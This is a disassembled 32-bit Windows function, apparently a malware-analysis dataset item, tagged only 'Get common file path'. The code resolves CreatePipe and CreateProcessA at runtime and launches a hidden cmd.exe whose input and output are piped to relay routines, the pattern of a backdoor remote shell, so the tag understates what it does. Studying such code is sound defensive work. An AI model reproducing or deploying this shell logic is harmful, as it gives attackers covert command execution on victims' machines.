Function at 0x100089f0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x100123db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x170
mov eax, dword [esp + 0x180]
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push eax
mov dword [esp + 0x38], ebp
call fcn.10006f50
xor esi, esi
push str.Kernel32.dll
mov dword [esp + 0x18c], esi
mov dword [ebp], 0x100133fc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ecx, ecx
mov dword [0x10018a94], eax
mov dword [esp + 0x28], ecx
xor edx, edx
mov dword [esp + 0x2c], ecx
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x3c]
mov dword [esp + 0x38], esi
mov dword [esp + 0x18], edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x1c], edx
mov ecx, 0x40
lea edi, [esp + 0x7d]
mov byte [esp + 0x7c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp + 0x10]
lea ebx, [ebp + 0x14]
mov dword [esp + 0x14], esi
mov dword [ebp + 0x18], esi
mov dword [edi], esi
mov dword [ebx], esi
lea esi, [ebp + 0x1c]
push str.CreatePipe
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 0xc
mov dword [esi], edx
mov eax, dword [0x10018a94]
push eax
mov dword [esp + 0x30], edx
mov dword [esp + 0x34], 1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x24]
push 0
push ecx
push esi
push edi
mov dword [esp + 0x40], eax
call eax
test eax, eax
jne 0x10008aec
mov edi, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x10008ada
push edi
call ebx
mov esi, dword [esi]
test esi, esi
je 0x10008c91
push esi
call ebx
jmp 0x10008c91
lea edx, [esp + 0x24]
push 0
push edx
lea edi, [ebp + 0x18]
push ebx
push edi
call dword [esp + 0x40]
test eax, eax
jne 0x10008b21
mov ebx, dword [ebx]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x10008b0f
push ebx
call esi
mov eax, dword [edi]
test eax, eax
je 0x10008c91
push eax
call esi
jmp 0x10008c91
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x38]
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], eax
push 0x30
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call ebx
add esp, 4
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x30
call ebx
mov edx, dword [ebp + 0x18]
mov esi, dword [esi]
push 0x30
mov dword [esp + 0x40], 0x44
mov word [esp + 0x70], 0
mov dword [esp + 0x6c], 0x101
mov dword [esp + 0x78], edx
mov dword [esp + 0x80], esi
mov dword [esp + 0x7c], esi
call ebx
add esp, 8
lea eax, [esp + 0x7c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x30
call ebx
mov edi, str.cmd.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x30
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebx
mov eax, dword [0x10018a94]
add esp, 8
push str.CreateProcessA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x38]
push ecx
push edx
push 0
push 0
push 0x20
push 1
push 0
push 0
lea ecx, [esp + 0x9c]
push 0
push ecx
call eax
test eax, eax
jne 0x10008c36
push 0x30
call ebx
mov edx, dword [ebp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
push edx
call esi
mov eax, dword [ebp + 0x14]
push eax
call esi
mov ecx, dword [ebp + 0x18]
push ecx
call esi
mov edx, dword [ebp + 0x1c]
push edx
call esi
jmp 0x10008c91
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x13]
mov dword [ebp + 0x24], ecx
push 1
push edx
mov ecx, ebp
mov dword [ebp + 0x20], eax
mov byte [esp + 0x1b], 0x80
call fcn.10006fd0
mov ecx, ebp
call fcn.10007040
push 0
push 0
push 0
push ebp
push 0x10008e80
push 0
push 0
call fcn.10009660
push 0
push 0
push 0
push ebp
push 0x10008f50
push 0
push 0
mov dword [ebp + 0x28], eax
call fcn.10009660
add esp, 0x38
mov dword [ebp + 0x2c], eax
mov ecx, dword [esp + 0x180]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x17c
ret 4